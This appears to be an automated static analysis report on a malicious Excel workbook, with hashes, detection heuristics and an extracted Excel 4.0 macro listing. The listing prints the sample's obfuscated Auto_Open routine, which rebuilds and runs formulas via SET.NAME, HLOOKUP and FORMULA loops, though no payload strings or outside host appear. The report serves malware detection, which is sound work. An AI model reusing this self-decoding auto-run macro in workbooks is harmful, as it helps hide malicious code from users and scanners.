Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 737fc3fda801e232…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:25:24 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 1f6bb608664413eaf6539f0350c3e877 SHA-1: 24c4b5562c92c314c7d85f49ea83926f78d20ab5 SHA-256: 737fc3fda801e232024b63f6a5b34a9a88ccbce885d2ac9093a9f6499b671d33
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6512 bytes
SHA-256: bd93a066243486f0fd2755a3e3390a70500a500bc1a6e3d22485eb8b86098ba1
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  adTCi
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F144 
' 0018     24 LABEL : Cell Value, String Constant - CmbKUzNXh len=0 
' 0018     23 LABEL : Cell Value, String Constant - dFKyoySG len=0 
' 0018     24 LABEL : Cell Value, String Constant - egGGuBdja len=0 
' 0018     24 LABEL : Cell Value, String Constant - emQgMqSbR len=0 
' 0018     24 LABEL : Cell Value, String Constant - EvqvIiDvT len=0 
' 0018     26 LABEL : Cell Value, String Constant - GvXnzGAjgkL len=0 
' 0018     27 LABEL : Cell Value, String Constant - ihaEicyEkqtg len=0 
' 0018     25 LABEL : Cell Value, String Constant - lySxhTikwV len=0 
' 0018     27 LABEL : Cell Value, String Constant - QgwagnyDrEIw len=0 
' 0018     22 LABEL : Cell Value, String Constant - rgwzRNU len=0 
' 0018     21 LABEL : Cell Value, String Constant - rqdSHI len=0 
' 0018     27 LABEL : Cell Value, String Constant - SkecQRERvSVa len=0 
' 0018     26 LABEL : Cell Value, String Constant - teBSAMxJpfT len=0 
' 0018     21 LABEL : Cell Value, String Constant - tMLidf len=0 
' 0018     20 LABEL : Cell Value, String Constant - ukngq len=0 
' 0018     20 LABEL : Cell Value, String Constant - voEUI len=0 
' 0018     24 LABEL : Cell Value, String Constant - WwStPThPP len=0 
' 0018     20 LABEL : Cell Value, String Constant - YPwqb len=0 
' 0018     24 LABEL : Cell Value, String Constant - yTSUKhpbo len=0 
' 0018     25 LABEL : Cell Value, String Constant - zekylYYnVm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  adTCi,F45,"SET.NAME("lySxhTikwV",VALUE("0"))",""
'  adTCi,F50,"SET.NAME("SkecQRERvSVa",lySxhTikwV)",""
'  adTCi,F55,"SET.NAME("voEUI",lySxhTikwV)",""
'  adTCi,F59,"SET.NAME("zekylYYnVm",COUNTA(ihaEicyEkqtg))",""
'  adTCi,F64,"SET.NAME("EvqvIiDvT",COUNTA(rqdSHI))",""
'  adTCi,F66,[],""
'  adTCi,F69,"SET.NAME("QgwagnyDrEIw","")",""
'  adTCi,F72,"SkecQRERvSVa",""
'  adTCi,F74,"SET.NAME("rgwzRNU",HLOOKUP("*",ihaEicyEkqtg,SkecQRERvSVa,FALSE))",""
'  adTCi,F76,"yTSUKhpbo",""
'  adTCi,F81,"SET.NAME("CmbKUzNXh",lySxhTikwV)",""
'  adTCi,F86,[],""
'  adTCi,F91,"CmbKUzNXh",""
'  adTCi,F95,"teBSAMxJpfT",""
'  adTCi,F98,"tMLidf",""
'  adTCi,F101,"WwStPThPP",""
'  adTCi,F104,"SET.NAME("GvXnzGAjgkL",VALUE(HLOOKUP("*",rqdSHI,WwStPThPP,FALSE)))",""
'  adTCi,F109,"egGGuBdja",""
'  adTCi,F113,"QgwagnyDrEIw",""
'  adTCi,F116,"voEUI",""
'  adTCi,F119,NEXT(),""
'  adTCi,F124,"YPwqb",""
'  adTCi,F127,"SET.NAME("f",INT(T(FORMULA(T(QgwagnyDrEIw)&"",""&T(YPwqb)))))",""
'  adTCi,F132,"ukngq",""
'  adTCi,F137,NEXT(),""
'  adTCi,F142,RETURN(),""
'  adTCi,F172,"SET.NAME("emQgMqSbR",F45)",""
'  adTCi,F174,"ihaEicyEkqtg",""
'  adTCi,F179,"SET.NAME("rqdSHI",R44C14)",""
'  adTCi,F184,"SET.NAME("ukngq",193)",""
'  adTCi,F188,"SET.NAME("dFKyoySG",6)",""
'  adTCi,F192,emQgMqSbR(),""
'  adTCi,F193,HALT(),""

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